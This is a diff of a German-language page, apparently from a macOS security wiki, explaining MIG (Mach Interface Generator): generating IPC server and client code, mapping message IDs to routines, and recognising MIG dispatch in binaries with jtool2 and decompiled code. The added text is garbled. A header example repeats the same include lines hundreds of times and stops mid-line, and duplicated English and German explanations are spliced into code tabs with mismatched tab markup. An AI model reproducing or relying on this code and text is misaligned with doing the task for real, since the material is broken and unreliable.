Jetzt verwenden Sie mig, um den Server- und Client-Code zu generieren, der in der Lage sein wird, miteinander zu kommunizieren, um die Subtract-Funktion aufzurufen:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
|
@ -62,464 +62,29 @@ myipc_server_routine,
|
|||
}
|
||||
};
|
||||
```
|
||||
{% tab title="myipcServer.h" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}
|
||||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code to handle messages sent between processes. MIG interfaces are defined in .defs files and compiled into C code using the `mig` compiler.
|
||||
|
||||
#### Example:
|
||||
|
||||
```c
|
||||
#ifndef myipcServer_h
|
||||
#define myipcServer_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/mach_types.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher
|
||||
#include "myipcServer.h"
|
||||
|
||||
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
|
||||
```
|
||||
|
||||
In the example above, `myipc_server` is the function generated by MIG to handle incoming messages. This function processes the messages and sends a response back to the client.
|
||||
|
||||
MIG is a powerful tool for handling IPC in macOS, but it can also introduce security risks if not implemented correctly. Developers should carefully review and test their MIG interfaces to prevent vulnerabilities related to IPC abuse.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -550,7 +115,7 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
In diesem Beispiel haben wir nur eine Funktion in den Definitionen definiert, aber wenn wir mehr Funktionen definiert hätten, wären sie im Array von **`SERVERPREFmyipc_subsystem`** enthalten gewesen und die erste Funktion hätte die ID **500** zugewiesen bekommen, die zweite Funktion die ID **501**...
|
||||
In diesem Beispiel haben wir nur 1 Funktion in den Definitionen definiert, aber wenn wir mehr Funktionen definiert hätten, wären sie innerhalb des Arrays von **`SERVERPREFmyipc_subsystem`** gewesen und die erste wäre der ID **500** zugewiesen worden, die zweite der ID **501**...
|
||||
|
||||
Tatsächlich ist es möglich, diese Beziehung in der Struktur **`subsystem_to_name_map_myipc`** aus **`myipcServer.h`** zu identifizieren:
|
||||
```c
|
||||
|
@ -559,7 +124,7 @@ Tatsächlich ist es möglich, diese Beziehung in der Struktur **`subsystem_to_na
|
|||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Schließlich wird eine weitere wichtige Funktion benötigt, um den Server zum Laufen zu bringen: **`myipc_server`**. Diese Funktion ruft tatsächlich die mit der empfangenen ID verknüpfte Funktion auf:
|
||||
Schließlich wird eine weitere wichtige Funktion zur Funktionsweise des Servers **`myipc_server`** sein, die tatsächlich die mit der empfangenen ID verbundene Funktion aufruft:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
|
@ -576,7 +141,7 @@ mig_routine_t routine;
|
|||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* Minimale Größe: routine() aktualisiert sie, wenn sie unterschiedlich ist */
|
||||
/* Mindestgröße: routine() wird sie aktualisieren, wenn sie sich unterscheidet */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
|
@ -593,9 +158,9 @@ return FALSE;
|
|||
}
|
||||
</code></pre>
|
||||
|
||||
Überprüfen Sie die zuvor hervorgehobenen Zeilen, um auf die Funktion zuzugreifen, die anhand der ID aufgerufen werden soll.
|
||||
Überprüfen Sie die zuvor hervorgehobenen Zeilen, die auf die Funktion zugreifen, die anhand der ID aufgerufen werden soll.
|
||||
|
||||
Im Folgenden finden Sie den Code zum Erstellen eines einfachen **Servers** und **Clients**, bei dem der Client die Funktionen des Servers aufrufen kann, um Subtraktionen durchzuführen:
|
||||
Im Folgenden ist der Code zum Erstellen eines einfachen **Servers** und **Clients** dargestellt, bei dem der Client die Funktionen vom Server abziehen kann:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -629,50 +194,29 @@ return 1;
|
|||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||
}
|
||||
```
|
||||
{% tab title="myipc_client.c" %}
|
||||
{% endtab %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/message.h>
|
||||
#include <servers/bootstrap.h>
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
#define SERVER_NAME "com.example.myipc_server"
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
int main() {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
char message[256] = "Hello from client!";
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)message;
|
||||
|
||||
// Look up the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, SERVER_NAME, &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set up the message header
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
msg->msgh_size = sizeof(message);
|
||||
msg->msgh_remote_port = server_port;
|
||||
msg->msgh_local_port = MACH_PORT_NULL;
|
||||
msg->msgh_reserved = 0;
|
||||
msg->msgh_id = 0;
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Message sent!\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client-side and server-side code for IPC. The client-side code is used to make requests to the server, while the server-side code processes those requests.
|
||||
|
||||
MIG interfaces are defined in .defs files, which are then compiled to generate the necessary code. The MIG compiler produces header files that contain the function prototypes for the client and server code.
|
||||
|
||||
To use MIG in a macOS project, you need to define the MIG interfaces in a .defs file, compile it using the MIG compiler, and include the generated header files in your code.
|
||||
|
||||
MIG simplifies the process of implementing IPC in macOS applications by automatically generating the boilerplate code required for communication between processes.
|
||||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG ist ein Tool, das zur Definition der Interprozesskommunikation (IPC) für macOS verwendet wird. Es generiert Client- und Servercode für IPC. Der Clientcode wird verwendet, um Anfragen an den Server zu stellen, während der Servercode diese Anfragen verarbeitet.
|
||||
|
||||
MIG-Schnittstellen werden in .defs-Dateien definiert, die dann kompiliert werden, um den erforderlichen Code zu generieren. Der MIG-Compiler erstellt Headerdateien, die die Funktionsprototypen für den Client- und Servercode enthalten.
|
||||
|
||||
Um MIG in einem macOS-Projekt zu verwenden, müssen Sie die MIG-Schnittstellen in einer .defs-Datei definieren, sie mit dem MIG-Compiler kompilieren und die generierten Headerdateien in Ihren Code einbinden.
|
||||
|
||||
MIG vereinfacht den Prozess der Implementierung von IPC in macOS-Anwendungen, indem automatisch der Grundcode generiert wird, der für die Kommunikation zwischen Prozessen erforderlich ist.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -699,25 +243,22 @@ printf("Port right name %d\n", port);
|
|||
USERPREFSubtract(port, 40, 2);
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
### Binäranalyse
|
||||
|
||||
### Binäre Analyse
|
||||
Da viele Binärdateien jetzt MIG verwenden, um Mach-Ports freizulegen, ist es interessant zu wissen, wie man **identifiziert, dass MIG verwendet wurde** und die **Funktionen, die MIG mit jeder Nachrichten-ID ausführt**.
|
||||
|
||||
Da viele Binärdateien jetzt MIG verwenden, um Mach-Ports freizugeben, ist es interessant zu wissen, wie man **feststellt, dass MIG verwendet wurde** und die **Funktionen, die MIG mit jeder Nachrichten-ID ausführt**, identifiziert.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) kann MIG-Informationen aus einer Mach-O-Binärdatei analysieren und die Nachrichten-ID angeben sowie die auszuführende Funktion identifizieren:
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) kann MIG-Informationen aus einer Mach-O-Binärdatei analysieren, die die Nachrichten-ID angibt und die auszuführende Funktion identifiziert:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Es wurde zuvor erwähnt, dass die Funktion, die sich um den Aufruf der richtigen Funktion je nach empfangener Nachrichten-ID kümmert, `myipc_server` ist. Es ist jedoch interessant zu überprüfen, wie sie dekompiliert aussieht, da sie immer sehr ähnlich sein wird (der Code dieser Funktion ist unabhängig von den freigegebenen Funktionen):
|
||||
Es wurde zuvor erwähnt, dass die Funktion, die sich um **das Aufrufen der richtigen Funktion je nach empfangener Nachrichten-ID kümmert**, `myipc_server` war. Normalerweise haben Sie jedoch nicht die Symbole der Binärdatei (keine Funktionsnamen), daher ist es interessant zu **überprüfen, wie der dekompilierte Code aussieht**, da er immer sehr ähnlich sein wird (der Code dieser Funktion ist unabhängig von den freigegebenen Funktionen):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server dekompiliert 1" %}
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Anfangsanweisungen zum Finden der richtigen Funktionszeiger
|
||||
// Initiale Anweisungen zum Finden der richtigen Funktionszeiger
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
|
@ -727,12 +268,12 @@ var_18 = arg1;
|
|||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Aufruf von sign_extend_64, der helfen kann, diese Funktion zu identifizieren
|
||||
// Dadurch wird rax auf den Zeiger gesetzt, der aufgerufen werden muss
|
||||
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Array der Funktionsadressen)
|
||||
// Dies speichert in rax den Zeiger auf den Aufruf, der aufgerufen werden muss
|
||||
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Adressen der Funktionen)
|
||||
// 0x1f4 = 500 (die Start-ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// If-Else, das If gibt false zurück, während Else die richtige Funktion aufruft und true zurückgibt
|
||||
// If - else, das if gibt false zurück, während das else die richtige Funktion aufruft und true zurückgibt
|
